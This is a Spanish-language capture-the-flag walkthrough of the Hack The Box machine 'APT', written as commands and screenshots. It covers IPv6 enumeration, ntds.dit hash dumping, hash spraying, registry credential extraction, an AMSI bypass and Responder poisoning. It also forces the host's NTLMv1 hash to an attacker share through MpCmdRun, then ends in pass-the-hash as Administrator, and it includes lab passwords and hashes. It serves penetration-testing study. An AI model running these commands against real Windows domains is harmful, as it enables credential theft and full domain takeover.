# APT ## Reconocimiento ### nmap ~~~ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.213 -oG allPorts ~~~ ![](https://i.imgur.com/x3ZcsTv.png) ~~~ nmap -sCV -p80,135 10.10.10.213 -oN targeted ~~~ ![](https://i.imgur.com/J5YaoF6.png) ### Web - Puerto 80 ~~~ whatweb 10.10.10.213 ~~~ ![](https://i.imgur.com/IGxoEQ5.png) El nombre de la web es **Gigantic Hosting** ### RPC - Puerto 135 ![](https://i.imgur.com/owzQ5Hn.png) * TCP 135 es el administrador de control de servicios del asignador de puntos finales y el modelo de objetos componentes (COM). Hay una herramienta llamada `rpcmap.py` de Impacket que mostrará estas asignaciones y el script `IOXIDResolver.py` que reporta la IPv6. ~~~ python3 IOXIDResolver.py -t 10.10.10.21 ~~~ ![](https://i.imgur.com/gZaYDy1.png) ``` Address: dead:beef::10e Address: dead:beef::b885:d62a:d679:573f Address: dead:beef::5cc4:5823:d6a0:8443 ``` Obs: * rpcclient intenta conectarse a TCP 445 o TCP 139, por lo que no hace mucho aquí. ~~~ ping6 dead:beef::b885:d62a:d679:573f ~~~ ![](https://i.imgur.com/az2Q4cG.png) ## Reconocimiento - IPv6 ### nmap ~~~ nmap -sS --min-rate 5000 -open -vvv -n -Pn -p- -6 dead:beef::b885:d62a:d679:573f -oG allPortsIPv6 ~~~ ![](https://i.imgur.com/Bz5so7s.png) ~~~ nmap -sCV -p53,80,88,135,389,445,464,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49675,49695,52135 -6 dead:beef::b885:d62a:d679:573f -oN targetedIPv6 ~~~ ![](https://i.imgur.com/hMymJ1e.png) ![](https://i.imgur.com/aLvEX2Q.png) ### smb - Puerto 445 #### Crackmapexec ~~~ crackmapexec smb dead:beef::b885:d62a:d679:573f ~~~ ![](https://i.imgur.com/j9DRoGW.png) ``` domain:htb.local name:APT ``` Se está tratando con una máquina Windows Server 2016 Se incorpora la IPv6 en el `/etc/hosts`: ``` ┌─[root@cr4y0-PC]─[/home/cr4y0/DesktopHackTheBox/APT] └──╼ #echo "dead:beef::b885:d62a:d679:573f apt htb.local" >> /etc/hosts ``` #### Socat En caso exista problemas con alguna herramienta con el formato IPv6 se puede hacer uso de la herramienta SOCAT y hacer un escaneo al localhost. CrackMapExec con SOCAT: Nos ponemos en escucha por el puerto `445` para redirigir la conexión entrante hacia `apt:445` ~~~ socat TCP-LISTEN:445,fork TCP:apt:445 ~~~ ![](https://i.imgur.com/YJTpd0y.png) ~~~ crackmapexec smb 127.0.0.1 ~~~ ![](https://i.imgur.com/uMWYIb5.png) ~~~ smbclient -L dead:beef::b885:d62a:d679:573f -N ~~~ ![](https://i.imgur.com/GlBJXGO.png) ~~~ smbmap -H 127.0.0.1 ~~~ ![](https://i.imgur.com/PNzEFba.png) ~~~ smbmap -H 127.0.0.1 -R ~~~ ![](https://i.imgur.com/Xfq3RFY.png) ### smbclient - Puerto 445 ~~~ smbclient //apt/backup -N fcrackzip -b -D -u -p /usr/share/wordlists/rockyou.txt backup.zip ~~~ ![](https://i.imgur.com/lCkljF1.png) ![](https://i.imgur.com/mHlkqTm.png) `iloveyousomuch` ![](https://i.imgur.com/NEcO9xd.png) ~~~ python3 /opt/impacket/examples/secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL ~~~ Se encuentra el backup `ntds.dit` y `SYSTEM`, entonces con la herramienta `secretsdump.py` se pueden dumpear los hashes del equipo: ![](https://i.imgur.com/5hsn0nq.png) De aqui se puede ver que el `lmhash` es estático y el `nthash` es dinámico. Mayor informacion: https://book.hacktricks.xyz/windows/stealing-credentials#extracting-hashes-from-ntds.dit # ¿Podemos dumpear el ntds.dit dentro del equipo Windows? # ¿Cómo usar Lazagne? ### Kerberos - Puerto 88 #### kerbrute La herramienta `Kerbrute` permite realizar una enumeración de usuarios válidos en base a una lista de usuarios: ~~~ ./kerbrute userenum --dc apt -d htb.local -t 40 /home/cr4y0/Desktop/HackTheBox/APT/users ~~~ ![](https://i.imgur.com/fvNLULf.png) #### crackmapexec Una vez se identifica al usuario válido se puede intentar validar las credenciales(usuario y hash): ~~~ crackmapexec smb apt -u 'henry.vinson' -H '2de80758521541d19cabba480b260e8f' ~~~ ![](https://i.imgur.com/RLdQXUY.png) En este punto se cuenta con usuario válido y un listado de hashes. Si se quiere realizar HashSpraying necesitamos de CrackMapExec que funciona por SMB o usar alguna variante de pyKerbrute que funciona por Kerberos. ~~~ crackmapexec smb apt -u 'henry.vinson' -H ../hash ~~~ ![](https://i.imgur.com/aJTHGGi.png) Pero el servicio `smb` bloquea el hashspraying. #### pyKerbrute pyKerbrute ofrece la enumeración de usuarios y userspraying en baase a un hash y contraseña. Despues de modificar uno de los archivos que nos entrega pyKerbrute con la finalidad de hacer fuerza bruta en los hashes: ~~~ python2 ADHashSpray.py ~~~ ![](https://i.imgur.com/3rwi0DE.png) `henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb` Código del script: ~~~ ~~~ Validando credenciales encontradas: ~~~ crackmapexec smb dead:beef::b885:d62a:d679:573f -u 'henry.vinson' -H 'e53d87d42adaa3ca32bdb34a876cbffb' ~~~ ![](https://i.imgur.com/PrGTe5n.png) # ¿Ver si se puede hacer ASRPROAST o KERBEROASTING con las credenciales encontradas? ### Leyendo Registros - Puerto 139 y 445 #### Linux - reg.py Herramienta de manipulación remota del registro a través de la interfaz [MS-RRP] MSRPC. La idea es proporcionar una funcionalidad similar a la de la utilidad de Windows REG.EXE. Registry Hives: ![](https://i.imgur.com/YzzB9Ju.png) Mayor información sobre los registros: http://www.herongyang.com/Windows/Registry-Hives-HKCR-HKCU-HKLM-HKU-HKCC-HCPD.html ~~~ python3 /opt/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKCR python3 /opt/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKCU python3 /opt/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKU ~~~ ![](https://i.imgur.com/cWEME9e.png) ![](https://i.imgur.com/M9CZqIw.png) ~~~ python3 /opt/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKU\\Software\\GiganticHostingManagementSystem ~~~ ![](https://i.imgur.com/nJ75tb7.png) `henry.vinson_adm:G1#Ny5@2dvht` Obs: También podemos usar el parametro `-s` para dumpear cada uno de los registros. #### Windows - mimikatz # ¿Como obtener los registros desde windows? ## Acceso ### winrm - Puerto 5985 Se obtiene acceso al sistema mediante la herramienta `evil-winrm` : ~~~ evil-winrm -i apt -u 'henry.vinson_adm' -p 'G1#Ny5@2dvht' ~~~ ![](https://i.imgur.com/cwablSL.png) Nos dirigimos al directorio `AppData\Local\Temp` en donde se suele tener capacidad de escritura: ~~~ ./winPEASx64.exe ~~~ Al ejecutar el winPEASx64.exe nos muestran un mensaje en donde no podemos ejecutar el binario: ![](https://i.imgur.com/yCAudEA.png) ### Bypass - 4msi Para ello se usará el menu de evil-winrm para realizar el bypass al amsi e intentar cargar el binario en memoria. ByPass-4msi: ~~~ menu Bypass-4MSI Invoke-Binary /home/cr4y0/Desktop/HackTheBox/APT/winPEASx64.exe ~~~ ![](https://i.imgur.com/Kg4UFlu.png) En los resultados se puede ver el historial PowerShell del usuario `henry.vinson_adm`: ![](https://i.imgur.com/JTIPBc2.png) `C:\Users\henry.vinson_adm\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` ![](https://i.imgur.com/UPXDiMi.png) También se ve que el sistema soporta hashes NTLMv1 ![](https://i.imgur.com/pSkFA19.png) Otro binario a tener en cuenta es `Seatbelt.exe` para la realizar un reconocimiento del sistema: ~~~ Invoke-Binary /home/cr4y0/Desktop/HackTheBox/APT/Seatbelt.exe -group=all ~~~ ![](https://i.imgur.com/cX0D447.png) ### Hash NTLMv1 NTLM es un protocolo de desafío respuesta, y en particular NTLMv1 usa una criptografía débil Hay servicio como `crack.sh` que se puede usar para averiguar la key. #### responder Se usa responder para envenenar el tráfico y con el parámetro `--lm` forzar a obtener los hashes NTLMv1. La página `crack.sh` solo contempla desafíos `1122334455667788` por esta razón se modifica la configuración del Responder para obtener este Challenge. ![](https://i.imgur.com/1FTemM8.png) ``` python3 Responder.py -I tun0 --lm ``` Ahora se debe buscar alguna forma de obtener el hash NTLMv1, para ello recordar el `Windows Defender` está activo en la máquina y tiene un ejecutable `MpCmdRun.exe` el cual tiene la opción de realizar un escaneo a un archivo o directorio en donde se puede indicar un recurso compartido y obtener el hash. ``` .\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.2\CualquierCosa ``` El hash se puede encontrar en `/usr/share/responder/logs`. ## Obteniendo privileios El hash que se obtiene es el de la cuenta de máquina, es decir, si se logra romper se puede usar la herramienta `secretsdump.py` y visualizar todos los hashes del directorio activo. Para crackear el hash en `crack.sh` se debe pasar a un formato especial para lo cual se usará la herramienta `ntlmv1.py`: ``` python3 ntlmv1.py --ntlmv1 'APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788' ``` ![](https://i.imgur.com/nOV6WEv.png) `NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384` Y se usa el Token que entrega el script en `crack.sh`: ![](https://i.imgur.com/9gtCUMg.png) Y recibimos el hash: ![](https://i.imgur.com/x1duhrP.png) ![](https://i.imgur.com/KLWDMqi.png) `Key: d167c3238864b12f5f82feae86a7f798` ### Dump ntds.dit ~~~ python3 /opt/impacket/examples/secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 'htb.local/APT$@apt' ~~~ ![](https://i.imgur.com/CpGrhVG.png) `Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::` ### Pass The Hash ``` evil-winrm -i apt -u Administrator -H c370bddf384a691d811ff3495e8a72e2 ``` ![](https://i.imgur.com/KSIwZlc.png) # Dumpear los hashes del directorio activo internamente